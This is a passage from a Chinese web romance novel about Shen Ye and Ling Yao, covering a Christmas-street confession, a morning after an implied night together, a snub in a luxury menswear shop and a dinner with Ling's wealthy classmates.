沈野偏头看他,其实他知道凌曜在这边仍然有很多叔叔阿姨照顾,甚至最开始搬家,连铺床都是别人帮他做。 然而凌曜很认生。想走进他心里,的确不容易。 又走过一个亮着温暖灯光的甜品店,他撇撇嘴:“这家可颂还行,但比国内那家差远了……唉,那时候想吃口顺心的都难。” 沈野安静地听着,他能从这些絮絮叨叨里,拼凑出凌曜初来乍到时的孤单和不易。 这个从小被众星捧月般宠着的小太子爷,原来也经历过这样的磨合期。 走着走着,凌曜的话题不知不觉又绕回了沈野身上。 他踢开脚边的一小块积雪,声音闷闷的,带着点不易察觉的委屈:“……那时候给你发信息,十句你能回一句就不错了。” 他顿了顿,侧头瞪了沈野一眼,“明明……明明那时候我最依赖的就是你了。你倒好,把我一个人扔这儿不闻不问。” “甚至,你还不愿意陪我出来。” 兜兜转转又聊到这里。 沈野看着他那副委屈巴巴的样子,一时间真是哭笑不得。 他怎么会不记得? 出国前那晚,这人半夜三更不睡觉,一声不吭地跑到他家楼下,就坐在花坛边上,抱着膝盖,也不敲门,也不打电话,就那么干坐着。 沈野还是第二天调监控才发现,凌曜在那儿坐了整整一夜,直到天蒙蒙亮才被凌家派来的车接走。 至于那所谓的十条信息…… 沈野回想起来就头疼。 【沈野你是不是死了?!】 【行!你厉害!有本事一辈子别见我!】 【我告诉你,我明天就走了!你后悔去吧!】 【……你真的不来送我?】 【算了,你爱来不来!】 【……我到了。这什么破地方。】 【沈野!我讨厌你!】 十条里有九条半都在发脾气放狠话,字里行间都冒着火星子。 剩下半条是语气别扭的报平安。 沈野当时看着手机屏幕上不断弹出的消息,一条比一条暴躁,确实不知道该怎么回。 哄? 不知道怎么哄。 解释? 当时两人的关系微妙又紧绷,他怕越描越黑。 最后只能选择性地回一句简短的【知道了】或者【注意安全】,结果往往引来更猛烈的炮火。 现在被凌曜这么委屈地一提,沈野心里又是好笑又是无奈。 他伸手揉了揉眉心,叹了口气,语气带着点调侃:“你那时候发的消息,十条有九条半都在骂我,我哪敢随便回?怕一回嘴,手机屏幕都要被你砸了。” 凌曜被他说得一噎,脸上瞬间闪过一丝不自然,显然也想起来自己当初有多作。 但他立刻强词夺理道:“那、那还不是因为你先不理我的,我生气不行吗。” 沈野看着他这副样子,低笑出声,没再反驳。 行吧,反正凌曜永远有理。 就在这时,街道前方的人群忽然爆发出一阵热烈的欢呼和掌声,将他们的注意力吸引了过去。 只见不远处,一个巨大的圣诞橱窗前,一个年轻男子单膝跪地,手中举着丝绒戒指盒,正仰头对面前惊喜地捂住嘴的女友说着什么。 橱窗里温馨的姜饼屋和可爱的雪人成了他们最好的背景,欢快的圣诞音乐仿佛也成了他们的伴奏。 周围的人们,无论是相拥的情侣还是带着孩子的家庭,都停下脚步,笑着望向那对幸福的人,有人吹口哨,有人鼓掌,空气中弥漫着祝福和浪漫的气息。 这份突如其来的爱意与喜悦,像一股暖流,将沈野和凌曜也包裹了进去。 凌曜也停下了脚步,歪着头看着那边,嘴角不自觉地跟着人群一起微微上扬,眼神里带着点好奇和不易察觉的羡慕。 霓虹灯的光芒流转在他侧脸上,勾勒出精致的轮廓。 一个念头,就在这片喧嚣的祝福声中,毫无征兆地撞进了沈野的脑海。 他忽然停下脚步,轻轻拉住了凌曜的手腕。 凌曜下意识地回头,略带疑惑地望向他:“嗯?” 周围人群的欢呼声仿佛瞬间远去。 沈野转过身,正对着他,目光沉静,却带着一种前所未有的认真,穿透了节日的喧嚣,低沉的声音清晰地传入凌曜耳中: “凌曜。” “所以,那个时候……”沈野看着他的眼睛,一字一句,问得清晰而直接,“你那么依赖我,埋怨我不陪你……” 他微微停顿,直刺核心: “……是不是因为,那个时候,你就已经喜欢上我了?” 空气仿佛凝滞了一秒。 凌曜明显愣住了,眼睛微微睁大,像是没料到沈野会问得这么直接。 随即,他白皙的脸颊以肉眼可见的速度,“唰”地一下染上了一层薄红,一直蔓延到耳根。 他猛地别开脸,梗着脖子,声音因为慌乱而拔高,带着虚张声势的骄横: “我我我那个时候怎么可能!” 他语无伦次地反驳,眼神四处乱飘,就是不敢看沈野。 不过通红的耳朵尖彻底出卖了他。 沈野看着眼前这个像被踩了尾巴的猫一样的凌曜,没有再追问,只是眼底缓缓漾开一丝极浅的笑意。 然后伸手,轻轻拂掉了落在凌曜羽绒服帽子上的几点雪花。 “嗯,是我自作多情。”他顺着他的话,语气里带着纵容。 凌曜哼了一声,扭头就往前走,脚步快得像是要逃离现场。 沈野不紧不慢地跟在他身后,看着那个几乎要同手同脚的背影,嘴角的弧度再也抑制不住。 圣诞的灯火温柔地洒满街道,将两人的影子拉长,交织在一起。 答案,早已不言而喻。 第52章 当晚, 沈野确实用身体力行,深刻体会到了什么叫“市中心高层的落地窗,夜景绝佳”。 凌曜显然对这个提议蓄谋已久。 当整座城市的灯火在脚下铺陈开来, 宛如一片触手可及的星河时,沈野被牢牢抵在冰冷的玻璃上,眼前是万丈霓虹,身后是凌曜滚烫的手掌。 视觉的眩晕和身体的刺激达到了顶峰, 他只能徒劳地用手掌撑住玻璃,在起雾的窗面上留下模糊的指痕, 破碎的声音被淹没在夜色里。 第二天清晨,沈野是在一阵急促的手机铃声中醒来的。 阳光透过巨大的落地窗洒满房间, 刺得他眼皮发沉。 他刚一动, 就感觉浑身像被拆开重组过一样,尤其是腰腿和某个难以启齿的地方, 传来清晰的酸胀感。 喉咙更是干涩发疼,咽口口水都像有砂纸在摩擦。 他还被凌曜紧紧搂在怀里, 毛茸茸的脑袋埋在他颈窝, 呼吸均匀。 手机还在不识相地响着, 是工作电话。 凌曜被吵得不满地哼唧一声,连眼睛都没睁, 顺手抓起一个枕头就朝着手机方向砸了过去, 然后更紧地往沈野怀里缩了缩, 把脸埋得更深, 含糊地抱怨:“吵死了……关掉……” 沈野无奈, 艰难地伸手,从地上捞起手机。 刚接通,那边就传来秘书清晰干练的声音:“沈总, 早。关于上午十点与……” “嗯。”沈野应了一声,试图让自己的声音听起来正常些。 然而,他刚发出一个音节,自己就先愣住了。 这声音低沉沙哑得厉害,带着明显的疲惫,和某种事后的慵懒性感。 完全不像他平日冷静清晰的语调。 电话那头的秘书显然也顿了一下,随即语气变得格外关切:“沈总,您的声音……是感冒了吗?最近流感高发,您一定要多注意休息,保重身体。” 沈野:“……” 他感觉自己的脸颊瞬间有点发烫。 他能怎么说?难道说不是感冒,是昨晚在落地窗边喊哑的? “咳,”他尴尬地轻咳一声,试图清清嗓子,结果反而引来一阵更明显的痒意,声音愈发沙哑。 “没事,有点着凉。会议照常,资料先发我邮箱。” “好的沈总,您多喝热水,需要我帮您预约医生吗?” “不用,先这样。”沈野迅速挂断电话,耳根微红。 一低头,正好对上凌曜不知何时睁开的眼睛。 凌曜显然听到了刚才的对话,他非但没觉得不好意思,反而得意地凑上来,在沈野喉结上轻轻咬了一下,用带着刚睡醒的鼻音,慢悠悠地调侃: “沈总,嗓子怎么哑成这样了?看来昨晚,玻璃擦得不够干净啊?” 沈野被他这话撩得心头火起,又腰软得没力气收拾他,只能没好气地拍了下他的后背:“闭嘴,睡觉。” 凌曜低笑着,心满意足地重新窝进他怀里。 阳光暖暖地照在两人身上,房间里只剩下平稳的呼吸声。 沈野看着天花板,感受着身边的温热和身体的酸痛,嘴角不受控制地微微扬起。 不过吧,电话挂断后,凌曜也没了睡意。默默赖在沈野怀里不肯动。 过了一会,他微微撑起身子,半趴在沈野胸口,手肘支着床,掌心托着下巴,开始明目张胆地检阅自己的领地。 他的目光像带着温度,慢悠悠地从沈野的眉眼扫过,掠过线条利落的下颌、微微凸起的喉结,最后落在敞开的睡衣领口之下。 沈野的肤色是健康的蜜色,肌理分明却不夸张,宽阔的肩臂线条流畅,覆着一层薄而韧的肌肉,显得精悍有力。 而此刻,这片紧实的肌肤上,清晰地印着一些暧昧的痕迹。 从锁骨蔓延到胸口的淡红吻痕,肩头若隐若现的齿印,还有侧腰处几道微微泛红的指痕…… 无一不昭示着昨夜某些失控的瞬间。 凌曜的视线在这些杰作上流连,嘴角向上翘起,眼神里满是毫不掩饰的得意和满足。 他伸出指尖,轻轻碰了碰沈野锁骨上那个最明显的印记,感受到对方身体微微一颤。 “嘿嘿。”凌曜满意的声音,抬头看向沈野,眼睛亮晶晶的,带着点邀功的意味,“我的眼光真不错,这画挂在这儿,挺好看。” 沈野闭着眼,也能感受到那道灼热的视线,在自己身上扫来扫去。 听到这厚颜无耻的点评,他眼皮都没掀,只是从鼻腔里发出一声意味不明的轻哼。 见沈野没太大反应,凌曜得寸进尺,手指不安分地往下,划过紧实的腹肌,嘴里还振振有词: “这里线条也好……这里……” 他像是在欣赏一件属于自己的艺术品,每一寸都要打上标记,确认主权。 沈野终于忍不住,抬手精准地捉住他那只作乱的手腕,声音低沉警告:“凌曜,安分点。” 凌曜撇撇嘴,但也没挣扎,反而就势低下头,在沈野唇上飞快地啄了一下,然后像只偷到腥的猫,心满意足地重新窝回他怀里,咕哝道:“小气,看看怎么了。” 两人磨蹭了一会儿才起床。 凌曜心情极好,哼着不成调的歌钻进厨房,居然像模像样地煎了两个溏心蛋,烤了面包,虽然卖相一般,但总算没再把厨房点着。 沈野洗漱完,一边系着衬衫扣子,一边走到餐厅。 阳光透过落地窗洒在餐桌上,气氛宁静。 他拿起叉子戳破溏心蛋,看着金黄的蛋液流出来,嘴角微不可查地弯了一下。 “今天有什么安排?”沈野咽下食物,随口问道。 凌曜正咬着面包,闻言含糊地回答:“约了几个朋友吃饭,我跟他们说了我哥哥也要来。” 沈野动作一顿,抬眸看他,眉毛微挑:“学校里的同学?” 凌曜咬了一口烤得焦脆的吐司边,漫不经心地应道:“嗯,就平时一块玩儿的那几个。” 他掰着手指数,“James,他家在英国搞媒体的;Khaled,沙特那个,家里有油田;还有Alexei,毛子,他家做军工的。” 他喝了口牛奶,嘴角沾了点奶渍,随手抹掉,语气随意得像在讨论今天天气:“反正都差不多,凑一块儿吃个饭。” 沈野切溏心蛋的手顿了顿。 他当然知道这几个名字的分量。 凌曜来A国读书这几年,显然没闲着。 这小子从小在名利场里打滚,耳濡目染,结交这些阶层的人对他来说是家常便饭。 但能把关系处得这么熟稔,随口一提就是顶级圈层的核心子弟,这份游刃有余,确实有点东西。 可是上辈子,他记得凌曜的朋友圈里,还有一大批纨绔子弟来着。 难道说,上辈子是和凌曜不够熟悉,因此对他产生了许多偏见? 沈野心里有点意外,甚至闪过一丝“这小子混得不错”的念头,但脸上没露出来,只是淡淡“嗯”了一声,没多问。 凌曜见他没反应,用叉子敲了敲盘子边,好像知道他在想什么似的,挑眉看他:“怎么,沈总不放心?怕我跟他们学坏?” 沈野抬眼,对上他带着戏谑的眼神,平静道:“你本来就不算乖,别是你把别人带坏了。” 凌曜被噎了一下,随即笑出声,脚在桌子底下不轻不重地踢了他一下:“哼。” —— 吃完早饭,沈野准备换衣服出门。 他这次来得匆忙,只带了一套备用的正装,昨晚那套已经送去洗了。 他正犹豫,凌曜已经拉开自己巨大的衣帽间,指着里面一排排几乎没拆标签的新衣服,大方地说:“穿我的呗,反正咱俩身材差不多。” 沈野看了一眼那些明显是凌曜风格,设计感强烈的衣物,果断摇头:“不用。” 太明显了。 穿凌曜的衣服去见他的朋友,无异于一种无声的宣告。 他暂时还不想把两人的关系放到那个复杂的圈子里去审视。 凌曜愣了一下,随即明白了他的顾虑,撇撇嘴,也没强求:“随你便。” 最终,沈野还是决定去附近的商场买一套合身的。 两人商量好了要一起去买,但不知为何,凌曜的偶像包袱如此之重。 半个小时过去,他依然站在巨大的开放式衣帽间中央,地上已经扔了好几套搭配失败的衣服。 凌曜抓了抓头发,一脸烦躁地对着镜子比划着一件印花衬衫和一条破洞牛仔裤。 “啧,这套是不是太浮夸了?但那条西裤又太严肃了。” 沈野已经快速冲完澡,换上了一身简单的深色羊绒衫和休闲裤。 他看了一眼时间,又看了看还在跟衣服较劲的凌曜,开口道:“你慢慢搭,我先去附近买套休闲装。” 凌曜头也没回,挥挥手:“好,我马上好!就楼下那家LP,报我名字就行。” 沈野“嗯”了一声,拿起手机就独自出了门。 凌曜的公寓位于顶级地段,下楼步行几分钟就是奢侈品云集的购物中心。 沈野径直走向那家以剪裁闻名的意大利男装店。 他推开厚重的玻璃门,店内灯光柔和,可能因为时间较早的缘故,此时店里没有其他客人。 一个身材高挑,面容俊秀的亚裔混血柜哥阿伦,正倚在柜台边整理袖口。 听到门响,他抬起头,目光落在走进来的沈野身上时,眼睛瞬间亮了一下。 眼前的男人身姿挺拔如松,肩宽腿长,简单的深色羊绒衫和休闲裤被他穿出一种清贵利落的气场。 他面容俊逸,眉眼深邃,鼻梁高挺,下颌线清晰利落,周身散发着一种俊逸的气质,偏偏鼻尖上落了颗小痣,看上去很是性感。 阿伦阅人无数,立刻判断出这是一位极具潜力的客户——外形出众,气质不凡,很可能来自某个注重仪表的精英阶层。 他立刻挂上热情的微笑,快步迎了上去,用英语问道:“先生下午好!请问今天需要看看什么?我可以为您提供专业的搭配建议。” 沈野对他的热情微微颔首,目光落在一套剪裁极佳的藏蓝色外套上。 他流利回答道:“请拿50码试一下。” “先生好眼光!”阿伦一边利落地去取衣服,一边试图拉近关系,用闲聊的语气问道,“看您气质非凡,是在这附近工作吗。” “不是,”沈野目光仍停留在西装上,语气平淡,“待几天。” “待几天”这三个字,像一盆冷水,瞬间浇灭了阿伦眼中的热切。 短期游客。 他心里的算盘立刻重拨。 再帅再有气质,也只是个过客,消费目的明确且短暂,几乎不可能发展成为有长期价值的客户。 他的热情肉眼可见地降温了,虽然脸上还维持着礼貌的微笑,但那份殷勤和期待已经消失,取而代之的是一种程序化的敷衍。 “先生试试这套,”阿伦拿出外套,却没有像对待重要客户那样引导他去更私密舒适的VIP试衣间,只是随手一指公共区域,“这款面料不错,性价比很高。” 言语间,已不自觉地将对方归入预算有限的类别。 沈野敏锐地捕捉到了对方态度这微妙的转变。 从惊艳热络到礼貌敷衍。 他接过衣服,没说什么,眼底掠过一丝冷意。 这种瞬间变脸,在奢侈品行业司空见惯。 试过之后,沈野觉得不合适。 于是径直走到高级定制系列展柜前,目光落在一套灰色,用极为细腻的Super 180’s羊毛面料制成的大衣上。 这套西装剪裁极致优雅,细节处透着不动声色的奢华。 “请拿一套给我试一下。” 阿伦的笑容微妙地僵硬了一瞬。 那套西装是店里的镇店系列之一,价格不菲。 他维持着礼貌,但话里带上了试探:“先生好眼光,这套是我们的总监系列,工艺和面料都是顶级的。不过这个系列尺寸改动需要额外收费,且周期较长。或许您可以先看看这边的成衣系列,性价比更高。” 他再次示意旁边价格低一档的区域。 这种“为您好”式的建议,本质上是一种隐形的拒绝和等级区分。 沈野的眉头几不可查地蹙起,周身的气压低了几分。 他正准备开口,就在这时,一个带着明显嘲讽,语调懒洋洋的声音从店门口传来: “哟,你家现在的服务标准真是越来越贴心了?” 沈野和阿伦同时转头。 只见凌曜斜倚在店门框上,双手插在牛仔裤的口袋里,身上是件 oversize 的印花卫衣,脚上一双限量版球鞋,整个人看起来叛逆不羁,与店内沉稳的格调形成鲜明对比。 他脸上挂着似笑非笑的表情,眼神却像淬了冰的刀子,直直射向阿伦。 阿伦的脸色“唰”地一下变得惨白。 他当然认识凌曜——这位少爷是总部全球VIP名单上排前几的常客,买东西只看心情不问价格,是店里所有销售梦寐以求的客户。 当初培训,大家可是把他的照片拿出来认了又认,从而才能达到第一眼就认出来的程度。 他怎么会来这里? 还认识这位客人? “凌、凌少!您、您怎么大驾光临……”阿伦的声音都变了调,腰下意识弯了下去。 凌曜没理他,慢悠悠地晃到沈野身边,非常自然地伸出手,带占有欲地直接环住了沈野的肩膀。 他半个身子都靠在他身上,仰头看着沈野,语气带着点撒娇的抱怨:“让你等我一会儿非不听,看,被当成没钱买衣服的了吧?” 这话明着是埋怨沈野,巴掌却结结实实扇在了阿伦脸上。 沈野被他这突如其来的亲昵弄得身体微微一僵,但没推开。 他低头看了眼靠在自己身上,像只护食大型犬的凌曜,没反驳。 阿伦的冷汗瞬间湿透了衬衫后背,腿都有些发软。 就在这时,一个略带惊讶、口音优雅的男声响起:“曜?真巧,我正说来取衣服。” 几人转头,看到一个穿着剪裁精良的格纹休闲西装的年轻男子走了过来。 他有一头浓密的金棕色头发和一双带笑的蓝眼睛,气质矜贵。 他是 James Cavendish,家族在英国媒体和时尚界颇有影响力,也是这家 LP 品牌的 VIP 客户之一,今天确实是来取预定的大衣的。 James的目光快速扫过现场。 凌曜亲昵地挂在那个陌生英俊的男人身上,脸上带着毫不掩饰的维护欲。 柜哥阿伦面如土色,经理正匆忙赶来,气氛明显不对。 他几乎是瞬间就明白了——阿伦这个看人下菜碟的老毛病又犯了,而且这次踢到了铁板,惹到了凌曜护着的人。 James和凌曜私交不错,深知凌家这位太子爷的脾气和背景。 能让凌曜露出这种护食姿态的人,绝非凡俗。 “James。”凌曜抬了抬下巴,算是打招呼,搂着沈野的手臂却没松,反而介绍道,“这我哥,沈野。” 他故意用了“哥”这个模糊又亲密的称呼,姿态已然说明一切。 James长在腐国,立马心领神会,脸上立刻绽放笑容,向沈野伸出手:“沈先生,幸会。我是 James,曜的同学。” 他的目光在沈野脸上停留片刻,带着真诚的欣赏。 眼前这个男人身姿挺拔,气质冷峻沉稳,面容极其俊逸,即使被凌曜这样挂着,也丝毫不显局促。 这绝非寻常人物。 “你好。” 沈野与他握手,语气淡然,宠辱不惊。 他何等敏锐,立刻看出 James 的圆滑和意图,但并不反感。 这种场合下,有个外人递台阶,比他自己出手更省事,也更能让凌曜满意。 James又笑着对凌曜说:“你们继续逛,我就不打扰了。” 他转向赶来的经理时,笑容淡了些,语气带着不容置疑的意味,低声快速地嘱咐几句。 点到即止,既施压了,又没把场面弄得太难堪。 经理 David 脸色一变,立刻明白了 James 的暗示和眼前局势的严重性,连连点头:“明白,James 先生,您放心,一定处理妥当。” 后续的过程无需多言。 经理亲自服务,极尽谦卑。 沈野试穿那套大衣时,效果惊人。 完美的剪裁将他宽肩窄腰的长腿身材衬托得淋漓尽致。 凌曜抱着手臂靠在试衣镜旁,歪着头打量,啧啧两声:“还行,马马虎虎配得上你。” 语气里的得意和占有欲几乎溢出来。 沈野懒得搭理他的口是心非,对经理说:“就这套。” 离开时,凌曜故意落后一步,对送他们到门口的经理和阿伦懒洋洋地说:“以后我哥来,直接请进VIP室。明白?” “明白明白!凌少,沈先生,您慢走!” 经理和阿伦躬身送别,态度恭敬至极。 走远几步,凌曜才哼笑一声,对沈野说:“James这小子,倒是会来事儿。” 沈野淡淡“嗯”了一声。 他当然明白,James的出手,既是给凌曜面子,也是在自己面前卖个好。 这个圈子里,没有无缘无故的善意。 不过,他承这个情。 走远了几步,沈野才瞥了凌曜一眼:“你倒是会借题发挥。” 凌曜哼笑一声,重新搂住他的胳膊,头翘得老高:“谁让他狗眼看人低?我的男人,也是他能怠慢的?” 阳光透过商场巨大的玻璃穹顶洒下,沈野看着身边这个嚣张又护短的人,心里那点因被打扰的不悦早已烟消云散。 看来,有个仗势欺人的小男友,感觉…… 还不赖。 第53章 离开店铺, 两人走到商场门口。 司机已将车停在路边等候。 阳光暖融融的,沈野拉开车门,让凌曜先上。 凌曜钻进车里, 脸色却不像刚才在店里那般得意洋洋。 他掏出手机看了一眼,眉头立刻皱了起来,手指飞快地打字回复,嘴角不悦地向下撇着。 沈野坐进他身边, 关上车门,察觉到他周身散发的低气压, 侧头问:“怎么了?” 凌曜把手机屏幕往沈野眼前一递,语气烦躁:“James那个大嘴巴!他在群里一说, 其他几个家伙也非要凑过来!说好久没见我了, 正好一起聚聚!” 沈野扫了一眼屏幕上飞快滚动的群聊消息,几个头像风格各异的账号正在热烈讨论晚上去哪里续摊, 显然James已经“不经意”地透露了凌曜和他在一起。 他挑眉,看向凌曜:“你不喜欢他们来?” 凌曜像看笨蛋一样瞪了沈野一眼, 没好气地说:“我不是不喜欢他们, ” “我是不喜欢他们现在跑来。一堆人围着你, 问东问西,叽叽喳喳的, 烦死了!” 他这话说得没头没尾, 但沈野却瞬间听懂了。 沈野看着凌曜那副又焦躁又别扭的样子, 伸手, 轻轻捏了捏凌曜的后颈, 像给炸毛的猫顺毛一样。 “行了,”沈野声音平静,“吃个饭而已。” 凌曜被他捏得缩了缩脖子, 情绪缓和了点,但还是哼了一声,咕哝道:“可是他们很八卦……” 车子平稳地驶离市中心,穿过绿树成荫的街道,最终在半山腰一栋极具现代设计感的建筑前停下。 这里远离喧嚣,可以俯瞰部分城景,环境私密性极佳。 门口没有任何醒目标志,只有一道简洁的金属门扉。 凌曜率先下车,脸色已经恢复了平时的倨傲,他整理了一下衣领,对沈野说:“到了,就这儿。The Glasshouse,会员制,Khaled家开的,味道还行,主要是清静。” 沈野抬头看了看这栋低调而奢华的建筑,心中了然,这大概就是他们这个圈子常聚的地方了。 他神色如常地点点头,和凌曜往里走去。 侍者引导他们穿过安静的走廊,推开一扇厚重的木门,里面是一个宽敞的私人包间。 巨大的落地窗外是郁郁葱葱的山景。包间里已经有好几个人,除了原本就要来的James、Khaled和Alexei,还多了好几位。 一位身材高挑,穿着亮眼红色连衣裙的女生Evelyn,在看见来人后眼前一亮。 “曜!你可算来了!” James率先笑着打招呼,走过来和凌曜碰了碰肩膀,然后目光立刻转向沈野,热情地伸出手,“沈先生,又见面了!欢迎欢迎!” Khaled也微笑着说:“早有耳闻,今天总算见到了。” Alexei最高大,用力拍了拍凌曜的背,声音洪亮:“你小子!多久没出现了!” 然后转向沈野,露出爽朗的笑容,“Alexei,这是我的名字。” 沈野勾唇,一一回应,那位Evelyn已经笑着走上前,目光明亮,毫不掩饰地上下打量着沈野,眼中闪过惊艳。 尔后笑着对凌曜说:“曜,不介绍一下这位大帅哥?以前可没见你带出来过。” 凌曜闻言,嘴角勾起一抹似笑非笑的弧度,手臂非常自然地搭上沈野的肩膀,将他往自己身边带了带,动作带着明显的占有欲。 “沈野,我哥。” Evelyn挑眉,显然对这个模糊的称呼和凌曜的姿态心领神会,但她性格外向,还是笑着向沈野伸出手:“Evelyn Lin,曜的同学。沈先生真是一表人才。” 她的目光在沈野和凌曜之间扫了个来回,带着探究的意味。 沈野与她轻轻一握,神色平静:“你好,沈野。” 大家落座后,侍者开始上菜,但话题的焦点仍不时落在沈野身上。 Evelyn显然对他充满好奇,问题一个接一个。 “沈先生是第一次来A国吗?觉得这边怎么样?”她笑着问,眼神明亮。 这次,没等凌曜开口,沈野便放下水杯,迎上她的目光,唇角带着适度的笑意:“不是第一次,不过这次行程匆忙,还没来得及好好感受。A国很繁荣。”回答得客气。 Evelyn又转向职业:“沈先生在哪里高就?” 沈野从容应对:“在国内经营一家公司,Evelyn小姐对国内市场也有兴趣?” 他巧妙地将问题抛了回去,Evelyn家本来就是做跨国贸易的,闻言也来了兴致,带着桌上的人就着近期的政策时事聊了起来。 一来二去,他们明显感觉到沈野身上的确有两把刷子,看向他的目光也就从皮囊的欣赏,迅速转变了。 “曜以前可从来没提过他还有这么一位出色的哥哥。”Alexei眼神在凌曜和沈野之间打转,感叹道。 凌曜切牛排的手没停,懒洋洋地插话,带着点护食的意味:“我哥低调,不爱张扬。” 沈野只是笑了笑,默认了凌曜的说法,没有补充。 Evelyn见状,眼珠一转,决定再加把火,她身体微微前倾,笑着追问:“沈先生,你别介意我八卦啊。我就是特别好奇,像你这么优秀又稳重的人,到底喜欢什么类型的呀?” 她说着,眼神意有所指地瞟了一眼旁边的凌曜,补充道,“毕竟我们曜眼光可是出了名的挑剔,能让他这么认可的人,品味一定不一般。” 桌上瞬间安静了一瞬,James和Khaled交换了一个“来了来了”的看好戏眼神,Alexei更是兴奋地搓了搓手,一脸终于问到点子上了的表情。 凌曜切牛排的动作几不可查地顿了一下。 他没放下刀叉,只是掀起眼皮,懒洋洋地瞥了Evelyn一眼,语气带着点嫌弃:“Evelyn,你什么时候改行当情感顾问了?” 他虽然这么说,但手上的动作却没停,非常自然地将自己面前那盘切得大小刚好的牛排,轻轻推到沈野面前,然后极其顺手地把沈野那盘还没动的换了过来。 这一连串动作行云流水,仿佛演练过无数遍。 做完这一切,他才重新看向Evelyn,嘴角勾起一抹似笑非笑的弧度,带着点警告,但更多是调侃:“打听那么多干嘛?反正不是你这种咋咋呼呼的类型。” “喂!”Evelyn立刻抗议地瞪大眼睛,假装生气地捶了一下桌子,笑道“凌曜你过分了啊!我这么活泼可爱!” 她也没再纠缠,本来也只是朋友间的玩笑和好奇。 沈野垂眸看着面前这份被切好的牛排,又抬眼看了看身边那个故作镇定继续吃东西的凌曜,拿起叉子,尝了一口。 肉质鲜嫩,火候恰到好处。 轻松的笑声过后,话题转向了即将到来的毕业季和未来的规划。 Khaled晃着酒杯,略带抱怨地说:“真快啊,马上要各奔东西了。想想去年这时候,我们还计划着毕业旅行要去环地中海呢。” 他看向凌曜,随口道,“曜,你那时候不是还说要在你葡萄牙那艘新游艇上开派对吗?结果今年问你都爱答不理的,真是变了。” Alexei立刻大声附和:“没错!这小子最近一年跟转了性似的,叫他出去滑雪也不去,赛车也不玩,整天神神秘秘的,动不动就飞回国。” Evelyn也加入调侃:“就是,以前组局最积极的就是你,现在想约你吃个饭都得提前半个月预约。快说,你在国内干什么呢?” 这些玩笑话像羽毛一样轻轻搔过沈野的心尖。 他端着水杯的手几不可查地顿了顿。 朋友们你一言我一语,勾勒出一个和现在这个黏人,甚至有些恋家的凌曜截然不同的形象——一个热爱刺激、喜欢热闹、是朋友圈子里绝对中心的纨绔子弟。 而这种转变的时间点,似乎恰好与自己回国稳定公司、父亲生病的那段焦头烂额的日子重合…… 沈野垂下眼眸,浓密的睫毛遮住了眼底一闪而过的复杂情绪。 他状似无意地端起水杯,抿了一口,用闲聊般的口吻,淡淡地插了一句:“是吗?他以前这么爱玩?” 沈野的语气很平静,像是在随口确认一个事实,不带任何探究的意味。 “何止是爱玩!”Alexei抢着回答,“曜以前可是我们这儿最疯的!上次在蒙特勒……” “闭嘴吧你!” 凌曜突然出声打断,抓起餐盘里的一颗小番茄精准地扔到Alexei的盘子里,发出“叮”的一声脆响、 他脸上带着明显的薄红,愤愤道:“陈芝麻烂谷子的事有什么好提的?吃都堵不住你的嘴。” 他这反应有点急,沈野将凌曜这过激的反应尽收眼底。 但他没有表露分毫,只是极轻地笑了一下,仿佛在笑两个小孩儿打架,自然地结束了这个话题:“看来以前是挺活泼。” Alexei撇嘴摊手,冲周围人投去一个眼神,类似“看吧,他不让我说。” James适时地接话,将话题引向了当前全球热议的碳中和议题,和新能源投资方向,这恰好是沈野深耕的领域,也是他们这些家族继承人未来必然要面对的核心议题。 起初,他是基于课堂知识和家族信息,发表了一些比较宏观和书面的看法,Evelyn和Alexei则更多是旁听。 沈野一直安静地听着,没有急于插话。 直到James提到欧洲某个备受瞩目的项目时,沈野才放下刀叉,用餐巾擦了擦嘴角,道:“那个项目概念很好,但核心技术依赖的稀有金属供应过于集中,主要来源地的政治风险被低估了。而且,” 他思考了一下,道,“他们选择的北欧路线,在应对极端天气下的设备维护成本方面,数据可能不如公布的那么乐观。” 他几句话直指要害,不仅点出了宏观风险,还涉及了具体的细节和成本考量,这远远超出了普通学生的讨论范畴。 James愣住了,这正是他们家族最关心的问题! 他下意识坐直了身子,追问道:“沈先生,您认为更好的替代方案是?” 沈野身体微微后靠,沉吟片刻,继续道:“与其全部押注前沿技术,不如务实一点。东南亚和拉美虽然是旧技术,但供应链更分散,技术更成熟,对大规模资本来说,其实是更优解。” 他引用了几个最新的行业数据和具体案例来佐证,逻辑清晰,数据翔实。 一番话,听得James频频点头,眼神已经从最初的好奇变成了毫不掩饰的钦佩。他忍不住追问了几个技术细节,沈野都对答如流,见解独到。 接着,Khaled好奇地问及中东产业与华国的合作前景。 沈野没有直接回答好与不好,而是话锋一转,微笑道:“这其实涉及到更深层的文化思维差异。中式商业合作讲究授人以渔,追求长期生态共赢,可能前期投入大,但根基扎实。而欧美模式更注重资本效率和短期回报,技术壁垒高。没有优劣,关键在于合作双方能否在认知层面找到平衡点。” 他从文化哲学的视角切入,将复杂的商业决策提升到了战略高度,听得Khaled若有所思,连连点头,感叹道:“沈先生,您这个角度太深刻了!这确实是我们之前没考虑到的层面!” 此刻,餐桌上的气氛已经完全变了。 之前还带着些玩闹和八卦的轻松感荡然无存,大家都像在认真上课的学生一样惊叹。 Evelyn也收起了玩笑的神色,双手托着下巴,眼睛亮晶晶地看着沈野,满是欣赏。 “沈先生,”James率先掏出手机,语气真诚,“不知道方不方便加个联系方式?以后在投资方面,希望能有机会向您请教。” Khaled也立刻跟上:“是的,我也想知道你的邮箱,希望以后能多交流!” 凌曜坐在旁边,心里又得意又酸溜溜的。 直到看见James和Khaled那近乎迷弟般的眼神,尤其是Evelyn一眨不眨盯着沈野的样子,一股酸溜溜的醋意又开始冒泡。 他在桌下用脚尖轻轻碰了碰沈野的鞋,示意他适可而止。 沈野感受到桌下的动静,侧目看了凌曜一眼,捕捉到他眼底那抹与别扭的小情绪,心下了然。 就在这时,一直若有所思的Evelyn忽然轻轻“啊”了一声。 她微微蹙着眉,仔细打量着沈野的脸,带着几分不确定的语气问道:“沈先生,冒昧问一下,我们以前是不是在哪儿见过?大概……在加拿大的多伦多?我总觉得您有点面熟。” 这话问得突然,餐桌上瞬间安静下来。连正在暗自吃醋的凌曜也愣了一下,下意识地看向沈野。 沈野端着水杯的手几不可查地顿了一下。 他目光平静地迎向Evelyn探究的视线,脸上看不出什么波澜,只是淡淡回应:“Evelyn小姐可能记错了,我很少去加拿大。” Evelyn眨了眨眼,似乎也有些不确定,笑了笑:“可能是我记混了,抱歉。” 话题便被轻轻带过。 聚会结束,一行人说说笑笑地走到餐厅门口道别。 James和Khaled再次和沈野握手,语气真诚地邀请他下次再来。 Evelyn也笑着挥手,眼神里还带着对沈野的欣赏。Alexei则嚷嚷着下次要让沈野给他们上课。 